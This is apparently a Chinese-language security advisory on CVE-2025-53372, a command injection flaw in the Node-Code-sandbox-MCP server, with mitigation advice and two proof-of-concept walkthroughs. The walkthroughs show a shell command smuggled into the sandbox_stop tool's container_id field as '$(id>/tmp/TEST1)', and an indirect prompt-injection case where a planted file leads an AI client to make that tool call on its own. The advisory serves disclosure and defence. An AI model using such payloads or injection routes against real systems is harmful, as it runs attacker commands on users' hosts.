Code-sandbox-MCP命令注入漏洞CVE-2025-53372
Node-Code-sandbox-MCP旨在为代码执行提供一个安全的环境,通过 Docker 容器技术实现了代码的隔离执行,确保运行环境的安全性。
一、基本情况
Node-Code-sandbox-MCP是基于 Docker 容器的安全沙盒环境,为AI应用程序提供安全且隔离的代码运行空间和稳定、可定制执行环境。
Node-Code-sandbox-MCP是一个基于Node.js的模型上下文协议服务器,它能够实现启动可任意处理的Docker容器来执行任意JavaScript。
栋科技漏洞库关注到Node-Code-sandbox-MCP在1.3.0之前版本中存在命令注入漏洞,漏洞现已追踪为CVE-2025-53372,CVSS评分7.5。
二、漏洞分析
CVE-2025-5337漏洞源于在调用child_process.execSync时没有对输入的参数进行安全处理而导致的,使得攻击者能够插入任意系统命令。
成功利用该漏洞可能导致在主机上以服务器进程的权限远程执行代码,导致任意命令注入(docker中运行代码的沙盒保护)间接提示注入。
这使得服务器直接在命令行字符串中使用未经验证的用户输入来构造和执行shell命令,引入了shell元字符注入(|、>、&&等)的可能性。
MCP服务器公开了docker容器中运行代码工具,被要求生成读取文件的代码时,MCP客户端被指示执行额外操作,如通过间接提示注入。
为了缓解这个漏洞,安全人员建议避免对不可信的输入使用child_process.execSync。
相反,建议使用更安全的API,如child_process.execFileSync,它允许用户将参数作为单独的数组传递,从而完全避免shell解释。
易受攻击代码
以下代码片段说明了MCP服务器工具中使用的易受攻击的代码模式,但这只是一个实例,类似的模式也可能存在于代码库中的其他地方。

三、POC概念验证一
该案例使用包括请求创建与不受信任的资源交互的JavaScript代码,比如获取远程数据或安装包。
1、环境配置
下载docker映像并创建文件夹来存储(恶意)文件
docker pull node:lts-slim
mkdir ~/shared
2、通过文件内容的间接提示注入
在~/共享目录中,使用以下内容创建一个名为test.txt的文件,以模拟应该在容器内部处理的不受信任的内容:

3、验证文件/tmp/TEST1是否存在(在主机上):
cat /tmp/TEST1
cat: /tmp/TEST1: No such file or directory
4、设置客户端IDE(用保存test.txt的文件夹替换/path/to/shared)
{
"mcpServers": {
"node-code-sandbox-mcp": {
"type": "stdio",
"command": "npx",
"args": ["-y", "node-code-sandbox-mcp@latest"],
"env": {
"FILES_DIR": "/path/to/shared",
"SANDBOX_MEMORY_LIMIT": "512m",
"SANDBOX_CPU_LIMIT": "0.75"
}
}
}
}
5、打开聊天并输入以下提示,示例如下:
Use node-code-sandbox-mcp: run a JS script that read the file "test.txt" (under files folder) and print the output
6、运行run_js_epehemeral工具,该请求将如下所示(即读取文件并打印输出的js代码):
{
"image": "node:lts-slim",
"code": "import fs from \"fs/promises\";\n\nconst filePath = \"./files/test.txt\";\ntry {\n const data = await fs.readFile(filePath, \"utf8\");\n console.log(data);\n} catch (err) {\n console.error(`Error reading file: ${err.message}`);\n}"
}
7、请注意,响应将包含文件内容,但也会触发带有恶意负载的sandbox_stop工具执行,从而导致主机上的命令注入
8、运行sandbox_stop工具(如果启用了自动运行功能,将在没有用户交互的情况下执行)
{
"container_id": "$(id>/tmp/TEST1)"
}
输出结果:
Error removing container $(id>/tmp/TEST1): Command failed: docker rm -f $(id>/tmp/TEST1)
docker: 'docker rm' requires at least 1 argument
Usage: docker rm [OPTIONS] CONTAINER [CONTAINER...]
See 'docker rm --help' for more information
9、确认注入的命令是在主机上执行的(是否处于容器内部):
cat /tmp/TEST1
uid=....
四、POC概念验证二
该案例使用了一个本地文件来简化PoC,并非远程获取远程数据或安装包。
1、打开并使用MCP检查器
npx @ modelcontextprotocol/inspector
2、在MCP检查器中:
- 设置传输类型:STDIO
- 将命令设置为npx
- 将参数设置为node-code-sandbox-mcp@latest
- 添加环境变量:FILES_DIR=/tmp/data
- 单击连接
- 转到工具选项卡,然后单击列出工具
- 选择sandbox_stop tool
3、验证文件/tmp/TEST是否存在:
cat /tmp/TEST
cat: /tmp/TEST: No such file or directory
4、在容器id字段中,输入如下代码,并单击运行工具
$(id>/tmp/TEST)
5、观察正在发送的请求:
"method": "tools/call",
"params": {
"name": "sandbox_stop",
"arguments": {
"container_id": "$(id>/tmp/TEST)"
},
"_meta": {
"progressToken": 0
}
}
}
6、系统反馈
{
"content": [
{
"type": "text",
"text": "Error removing container $(id>/tmp/TEST): Command failed: docker rm -f $(id>/tmp/TEST)\ndocker: 'docker rm' requires at least 1 argument\n\nUsage: docker rm [OPTIONS] CONTAINER [CONTAINER...]\n\nSee 'docker rm --help' for more information\n"
}
]
}
7、确认注入的命令已执行:
cat /tmp/TEST
uid=.....
五、影响范围
Node-Code-sandbox-MCP <= 1.2.0
六、修复建议
Node-Code-sandbox-MCP >= 1.3.0
七、参考链接
